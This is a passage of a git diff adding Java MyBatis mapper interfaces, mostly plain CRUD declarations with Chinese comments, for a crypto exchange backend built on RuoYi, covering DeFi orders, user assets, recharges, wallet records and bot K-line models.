selectDefiOrderList(DefiOrder defiOrder); + public List getOrder(DefiOrder defiOrder); + + /** + * 新增defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + public int insertDefiOrder(DefiOrder defiOrder); + + /** + * 修改defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + public int updateDefiOrder(DefiOrder defiOrder); + + /** + * 删除defi订单 + * + * @param id defi订单主键 + * @return 结果 + */ + public int deleteDefiOrderById(Long id); + + /** + * 批量删除defi订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteDefiOrderByIds(Long[] ids); + BigDecimal getAllAmount(Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiRateMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiRateMapper.java new file mode 100644 index 0000000..6ef6113 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiRateMapper.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; +import com.ruoyi.bussiness.domain.DefiRate; + +/** + * defi挖矿利率配置Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface DefiRateMapper extends BaseMapper +{ + /** + * 查询defi挖矿利率配置 + * + * @param id defi挖矿利率配置主键 + * @return defi挖矿利率配置 + */ + public DefiRate selectDefiRateById(Long id); + + /** + * 查询defi挖矿利率配置列表 + * + * @param defiRate defi挖矿利率配置 + * @return defi挖矿利率配置集合 + */ + public List selectDefiRateList(DefiRate defiRate); + + /** + * 新增defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + public int insertDefiRate(DefiRate defiRate); + + /** + * 修改defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + public int updateDefiRate(DefiRate defiRate); + + /** + * 删除defi挖矿利率配置 + * + * @param id defi挖矿利率配置主键 + * @return 结果 + */ + public int deleteDefiRateById(Long id); + + /** + * 批量删除defi挖矿利率配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteDefiRateByIds(Long[] ids); + + public List selectAllOrderBy(); + public List getDefiRateByAmount(BigDecimal amount); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/KlineSymbolMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/KlineSymbolMapper.java new file mode 100644 index 0000000..314dfd4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/KlineSymbolMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.KlineSymbol; + +/** + * 数据源Mapper接口 + * + * @author ruoyi + * @date 2023-07-10 + */ +public interface KlineSymbolMapper extends BaseMapper +{ + /** + * 查询数据源 + * + * @param id 数据源主键 + * @return 数据源 + */ + public KlineSymbol selectKlineSymbolById(Long id); + + /** + * 查询数据源列表 + * + * @param klineSymbol 数据源 + * @return 数据源集合 + */ + public List selectKlineSymbolList(KlineSymbol klineSymbol); + + /** + * 新增数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + public int insertKlineSymbol(KlineSymbol klineSymbol); + + /** + * 修改数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + public int updateKlineSymbol(KlineSymbol klineSymbol); + + /** + * 删除数据源 + * + * @param id 数据源主键 + * @return 结果 + */ + public int deleteKlineSymbolById(Long id); + + /** + * 批量删除数据源 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteKlineSymbolByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/SettingMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/SettingMapper.java new file mode 100644 index 0000000..d951259 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/SettingMapper.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.setting.Setting; + +/** + * 配置数据处理层 + * @author Chopper + * @since 2020/11/17 8:01 下午 + */ +public interface SettingMapper extends BaseMapper { + +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TActivityRechargeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TActivityRechargeMapper.java new file mode 100644 index 0000000..10cec5d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TActivityRechargeMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TActivityRecharge; + +/** + * 充值活动Mapper接口 + * + * @author ruoyi + * @date 2023-07-05 + */ +public interface TActivityRechargeMapper extends BaseMapper +{ + /** + * 查询充值活动 + * + * @param id 充值活动主键 + * @return 充值活动 + */ + public TActivityRecharge selectTActivityRechargeById(Long id); + + /** + * 查询充值活动列表 + * + * @param tActivityRecharge 充值活动 + * @return 充值活动集合 + */ + public List selectTActivityRechargeList(TActivityRecharge tActivityRecharge); + + /** + * 新增充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + public int insertTActivityRecharge(TActivityRecharge tActivityRecharge); + + /** + * 修改充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + public int updateTActivityRecharge(TActivityRecharge tActivityRecharge); + + /** + * 删除充值活动 + * + * @param id 充值活动主键 + * @return 结果 + */ + public int deleteTActivityRechargeById(Long id); + + /** + * 批量删除充值活动 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTActivityRechargeByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAgentActivityInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAgentActivityInfoMapper.java new file mode 100644 index 0000000..6963919 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAgentActivityInfoMapper.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.vo.TAgentActivityInfoVo; + +/** + * 返利活动明细Mapper接口 + * + * @author ruoyi + * @date 2023-07-06 + */ +public interface TAgentActivityInfoMapper extends BaseMapper +{ + /** + * 查询返利活动明细 + * + * @param id 返利活动明细主键 + * @return 返利活动明细 + */ + public TAgentActivityInfo selectTAgentActivityInfoById(String id); + + /** + * 查询返利活动明细列表 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 返利活动明细集合 + */ + public List selectTAgentActivityInfoList(TAgentActivityInfo tAgentActivityInfo); + + /** + * 新增返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + public int insertTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + /** + * 修改返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + public int updateTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + /** + * 删除返利活动明细 + * + * @param id 返利活动明细主键 + * @return 结果 + */ + public int deleteTAgentActivityInfoById(String id); + + /** + * 批量删除返利活动明细 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAgentActivityInfoByIds(String[] ids); + + int selectListByLeve(TAgentActivityInfo tAgentActivityInfo); + + BigDecimal selectAmountCountByUserId(TAgentActivityInfo tAgentActivityInfo); + + List getAgentList(TAgentActivityInfo tAgentActivityInfo); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAddressInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAddressInfoMapper.java new file mode 100644 index 0000000..6b1528c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAddressInfoMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TAppAddressInfo; + +import java.util.List; + + +/** + * 钱包地址授权详情Mapper接口 + * + * @author ruoyi + * @date 2023-07-15 + */ +public interface TAppAddressInfoMapper extends BaseMapper +{ + /** + * 查询钱包地址授权详情 + * + * @param userId 钱包地址授权详情主键 + * @return 钱包地址授权详情 + */ + public TAppAddressInfo selectTAppAddressInfoByUserId(Long userId); + + /** + * 查询钱包地址授权详情列表 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 钱包地址授权详情集合 + */ + public List selectTAppAddressInfoList(TAppAddressInfo tAppAddressInfo); + + /** + * 新增钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + public int insertTAppAddressInfo(TAppAddressInfo tAppAddressInfo); + + /** + * 修改钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + public int updateTAppAddressInfo(TAppAddressInfo tAppAddressInfo); + + /** + * 删除钱包地址授权详情 + * + * @param userId 钱包地址授权详情主键 + * @return 结果 + */ + public int deleteTAppAddressInfoByUserId(Long userId); + + /** + * 批量删除钱包地址授权详情 + * + * @param userIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppAddressInfoByUserIds(Long[] userIds); + + List getAllowedUser(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAssetMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAssetMapper.java new file mode 100644 index 0000000..2969dfc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAssetMapper.java @@ -0,0 +1,77 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import java.util.Map; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.TAppAsset; + +/** + * 玩家资产Mapper接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface TAppAssetMapper extends BaseMapper +{ + /** + * 查询玩家资产 + * + * @param userId 玩家资产主键 + * @return 玩家资产 + */ + public TAppAsset selectTAppAssetByUserId(Long userId); + + /** + * 查询玩家资产列表 + * + * @param tAppAsset 玩家资产 + * @return 玩家资产集合 + */ + public List selectTAppAssetList(TAppAsset tAppAsset); + + /** + * 新增玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + public int insertTAppAsset(TAppAsset tAppAsset); + + /** + * 修改玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + public int updateTAppAsset(TAppAsset tAppAsset); + + /** + * 删除玩家资产 + * + * @param userId 玩家资产主键 + * @return 结果 + */ + public int deleteTAppAssetByUserId(Long userId); + + /** + * 批量删除玩家资产 + * + * @param userIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppAssetByUserIds(Long[] userIds); + + int updateByUserId(TAppAsset tAppAsset); + + int noSettlementAssetByUserId(Map params); + + int reduceAssetByUserId(Map params); + + int addAssetByUserId(Map params); + + int occupiedAssetByUserId(Map params); + + int settlementOccupiedCurrencyOrder(Map params); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppMailMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppMailMapper.java new file mode 100644 index 0000000..ab17746 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppMailMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TAppMail; + +/** + * 1v1站内信Mapper接口 + * + * @author ruoyi + * @date 2023-07-18 + */ +public interface TAppMailMapper extends BaseMapper +{ + /** + * 查询1v1站内信 + * + * @param id 1v1站内信主键 + * @return 1v1站内信 + */ + public TAppMail selectTAppMailById(Long id); + + /** + * 查询1v1站内信列表 + * + * @param tAppMail 1v1站内信 + * @return 1v1站内信集合 + */ + public List selectTAppMailList(TAppMail tAppMail); + + /** + * 新增1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + public int insertTAppMail(TAppMail tAppMail); + + /** + * 修改1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + public int updateTAppMail(TAppMail tAppMail); + + /** + * 删除1v1站内信 + * + * @param id 1v1站内信主键 + * @return 结果 + */ + public int deleteTAppMailById(Long id); + + /** + * 批量删除1v1站内信 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppMailByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppRechargeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppRechargeMapper.java new file mode 100644 index 0000000..1e7c42b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppRechargeMapper.java @@ -0,0 +1,81 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppRecharge; +import org.apache.ibatis.annotations.Param; + +/** + * 用户充值Mapper接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface TAppRechargeMapper extends BaseMapper +{ + /** + * 查询用户充值 + * + * @param id 用户充值主键 + * @return 用户充值 + */ + public TAppRecharge selectTAppRechargeById(Long id); + + /** + * 查询用户充值列表 + * + * @param tAppRecharge 用户充值 + * @return 用户充值集合 + */ + public List selectTAppRechargeList(TAppRecharge tAppRecharge); + + /** + * 新增用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + public int insertTAppRecharge(TAppRecharge tAppRecharge); + + /** + * 修改用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + public int updateTAppRecharge(TAppRecharge tAppRecharge); + + /** + * 删除用户充值 + * + * @param id 用户充值主键 + * @return 结果 + */ + public int deleteTAppRechargeById(Long id); + + /** + * 批量删除用户充值 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppRechargeByIds(Long[] ids); + + Map sumtotal(TAppRecharge tAppRecharge); + + List selectRechargeList(TAppRecharge tAppRecharge); + + void updateStatus(TAppRecharge recharge); + + List selectRechargeVoice(String parentId); + + BigDecimal getAllRecharge(@Param("parentId") String parentId, @Param("type") Integer type); + + List> getWeekRecharge(String parentId); + + List> getWeekFailedRecharge(String parentId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserDetailMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserDetailMapper.java new file mode 100644 index 0000000..b482458 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserDetailMapper.java @@ -0,0 +1,69 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TAppUserDetail; + +import java.util.List; + +/** + * 用户详细信息Mapper接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface TAppUserDetailMapper extends BaseMapper +{ + /** + * 查询用户详细信息 + * + * @param id 用户详细信息主键 + * @return 用户详细信息 + */ + public TAppUserDetail selectTAppUserDetailById(Long id); + public TAppUserDetail selectTAppUserDetailByUserId(Long id); + + /** + * 查询用户详细信息列表 + * + * @param tAppUserDetail 用户详细信息 + * @return 用户详细信息集合 + */ + public List selectTAppUserDetailList(TAppUserDetail tAppUserDetail); + + /** + * 新增用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + public int insertTAppUserDetail(TAppUserDetail tAppUserDetail); + + /** + * 修改用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + public int updateTAppUserDetail(TAppUserDetail tAppUserDetail); + + int resetAppUserRealMameStatus(TAppUserDetail userDetail); + /** + * 删除用户详细信息 + * + * @param id 用户详细信息主键 + * @return 结果 + */ + public int deleteTAppUserDetailById(Long id); + + /** + * 批量删除用户详细信息 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppUserDetailByIds(Long[] ids); + + List selectTAppUserDetailLists(TAppUserDetail tAppUserDetail); + + List selectVerifiedVoice(String parentId); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserMapper.java new file mode 100644 index 0000000..cb9ae27 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserMapper.java @@ -0,0 +1,82 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUser; +import org.apache.ibatis.annotations.Param; + +/** + * 玩家用户Mapper接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface TAppUserMapper extends BaseMapper +{ + /** + * 查询玩家用户 + * + * @param userId 玩家用户主键 + * @return 玩家用户 + */ + public TAppUser selectTAppUserByUserId(Long userId); + + /** + * 查询玩家用户列表 + * + * @param tAppUser 玩家用户 + * @return 玩家用户集合 + */ + public List selectTAppUserList(TAppUser tAppUser); + + /** + * 新增玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + public int insertTAppUser(TAppUser tAppUser); + + /** + * 修改玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + public int updateTAppUser(TAppUser tAppUser); + + /** + * 删除玩家用户 + * + * @param userId 玩家用户主键 + * @return 结果 + */ + public int deleteTAppUserByUserId(Long userId); + + /** + * 批量删除玩家用户 + * + * @param userIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppUserByUserIds(Long[] userIds); + + TAppUser selectByUserLoginName(String loginName); + + TAppUser selectByAddress(String address); + + List selectActiveCodeList(); + List selectUnboundAppUser(TAppUser tAppUser); + + int delUpdateByAdminUserId(Long adminUserId); + + List getTAppUserList(TAppUser tAppUser); + + int updateUserAppIds(@Param("appUserId") Long appUserId, @Param("adminParentIds") String adminParentIds); + + List getListByPledge(TAppUser tAppUser); + + int updateTotleAmont(TAppUser appUser); + + int updateRechargeAmont(TAppUser user); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppWalletRecordMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppWalletRecordMapper.java new file mode 100644 index 0000000..d120928 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppWalletRecordMapper.java @@ -0,0 +1,81 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo; +import com.ruoyi.bussiness.domain.vo.AgencyDataVo; +import com.ruoyi.bussiness.domain.vo.DailyDataVO; +import com.ruoyi.bussiness.domain.vo.UserDataVO; + +/** + * 用户信息Mapper接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface TAppWalletRecordMapper extends BaseMapper +{ + /** + * 查询用户信息 + * + * @param id 用户信息主键 + * @return 用户信息 + */ + public TAppWalletRecord selectTAppWalletRecordById(Long id); + + /** + * 查询用户信息列表 + * + * @param tAppWalletRecord 用户信息 + * @return 用户信息集合 + */ + public List selectTAppWalletRecordList(TAppWalletRecord tAppWalletRecord); + + /** + * 新增用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + public int insertTAppWalletRecord(TAppWalletRecord tAppWalletRecord); + + /** + * 修改用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + public int updateTAppWalletRecord(TAppWalletRecord tAppWalletRecord); + + /** + * 删除用户信息 + * + * @param id 用户信息主键 + * @return 结果 + */ + public int deleteTAppWalletRecordById(Long id); + + /** + * 批量删除用户信息 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppWalletRecordByIds(Long[] ids); + + + List dailyData(TAppWalletRecord tAppWalletRecord); + + List selectUserDataList(TAppWalletRecord tAppWalletRecord); + + List selectAgencyList(TAppWalletRecord appWalletRecord); + + List selectAgencyAppUserList(TAppWalletRecord appWalletRecord); + + BigDecimal statisticsAmount(); + + BigDecimal getAllWithdrawOfUser(Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppuserLoginLogMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppuserLoginLogMapper.java new file mode 100644 index 0000000..2e4e89c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppuserLoginLogMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppuserLoginLog; + +/** + * 系统访问记录Mapper接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface TAppuserLoginLogMapper extends BaseMapper +{ + /** + * 查询系统访问记录 + * + * @param id 系统访问记录主键 + * @return 系统访问记录 + */ + public TAppuserLoginLog selectTAppuserLoginLogById(Long id); + + /** + * 查询系统访问记录列表 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 系统访问记录集合 + */ + public List selectTAppuserLoginLogList(TAppuserLoginLog tAppuserLoginLog); + + /** + * 新增系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + public int insertTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog); + + /** + * 修改系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + public int updateTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog); + + /** + * 删除系统访问记录 + * + * @param id 系统访问记录主键 + * @return 结果 + */ + public int deleteTAppuserLoginLogById(Long id); + + /** + * 批量删除系统访问记录 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppuserLoginLogByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelInfoMapper.java new file mode 100644 index 0000000..0ef75f6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelInfoMapper.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.mapper; + +import cc.block.data.api.domain.market.Kline; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; + +/** + * 控线详情Mapper接口 + * + * @author ruoyi + * @date 2023-08-09 + */ +public interface TBotKlineModelInfoMapper extends BaseMapper { + /** + * 查询控线详情 + * + * @param id 控线详情主键 + * @return 控线详情 + */ + public TBotKlineModelInfo selectTBotKlineModelInfoById(Long id); + + /** + * 查询控线详情列表 + * + * @param tBotKlineModelInfo 控线详情 + * @return 控线详情集合 + */ + public List selectTBotKlineModelInfoList(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 新增控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + public int insertTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 修改控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + public int updateTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 删除控线详情 + * + * @param id 控线详情主键 + * @return 结果 + */ + public int deleteTBotKlineModelInfoById(Long id); + + /** + * 批量删除控线详情 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTBotKlineModelInfoByIds(Long[] ids); + + int insertModelInfo(List list); + + List selectBotLineList(Map map); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelMapper.java new file mode 100644 index 0000000..c161179 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelMapper.java @@ -0,0 +1,75 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.SymbolPrice; +import com.ruoyi.bussiness.domain.TBotKlineModel; + +/** + * 控线配置Mapper接口 + * + * @author ruoyi + * @date 2023-08-09 + */ +public interface TBotKlineModelMapper extends BaseMapper +{ + /** + * 查询控线配置 + * + * @param id 控线配置主键 + * @return 控线配置 + */ + public TBotKlineModel selectTBotKlineModelById(Long id); + + /** + * 查询控线配置列表 + * + * @param tBotKlineModel 控线配置 + * @return 控线配置集合 + */ + public List selectTBotKlineModelList(TBotKlineModel tBotKlineModel); + + /** + * 新增控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + public int insertTBotKlineModel(TBotKlineModel tBotKlineModel); + + /** + * 修改控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + public int updateTBotKlineModel(TBotKlineModel tBotKlineModel); + + /** + * 删除控线配置 + * + * @param id 控线配置主键 + * @return 结果 + */ + public int deleteTBotKlineModelById(Long id); + + /** + * 批量删除控线配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTBotKlineModelByIds(Long[] ids); + + public List getBotModelListByTime(TBotKlineModel tBotKlineModel); + public List getBotModelPriceByTime(TBotKlineModel tBotKlineModel); + List getBotModelListBeforTime(TBotKlineModel tBotKlineModel); + List getBotModelListBySymbol(TBotKlineModel tBotKlineModel); + + List getyesterdayPrice(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCollectionOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCollectionOrderMapper.java new file mode 100644 index 0000000..fa1b23a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCollectionOrderMapper.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; +import com.ruoyi.bussiness.domain.TCollectionOrder; +import org.apache.ibatis.annotations.Param; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-09-08 + */ +public interface TCollectionOrderMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TCollectionOrder selectTCollectionOrderById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTCollectionOrderList(TCollectionOrder tCollectionOrder); + + /** + * 新增【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + public int insertTCollectionOrder(TCollectionOrder tCollectionOrder); + + /** + * 修改【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + public int updateTCollectionOrder(TCollectionOrder tCollectionOrder); + + /** + * 删除【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTCollectionOrderById(Long id); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTCollectionOrderByIds(Long[] ids); + + BigDecimal selectCollectionAmountByUserId(Long userId); + + BigDecimal selectCollectionAmountByAgencyId(Long agencyId); + + BigDecimal selectCollectionAmountDetail(@Param("appUserId") Long appUserId, @Param("adminParentIds")String adminParentIds); + + BigDecimal getDayCollectionAmount(@Param("beginTime")String beginTime, @Param("endTime")String endTime); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractCoinMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractCoinMapper.java new file mode 100644 index 0000000..4ad1434 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractCoinMapper.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.mapper; + +import java.util.List; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; + +/** + * U本位合约币种Mapper接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface TContractCoinMapper extends BaseMapper +{ + /** + * 查询U本位合约币种 + * + * @param id U本位合约币种主键 + * @return U本位合约币种 + */ + public TContractCoin selectTContractCoinById(Long id); + + /** + * 查询U本位合约币种列表 + * + * @param tContractCoin U本位合约币种 + * @return U本位合约币种集合 + */ + public List selectTContractCoinList(TContractCoin tContractCoin); + + /** + * 新增U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + public int insertTContractCoin(TContractCoin tContractCoin); + + /** + * 修改U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + 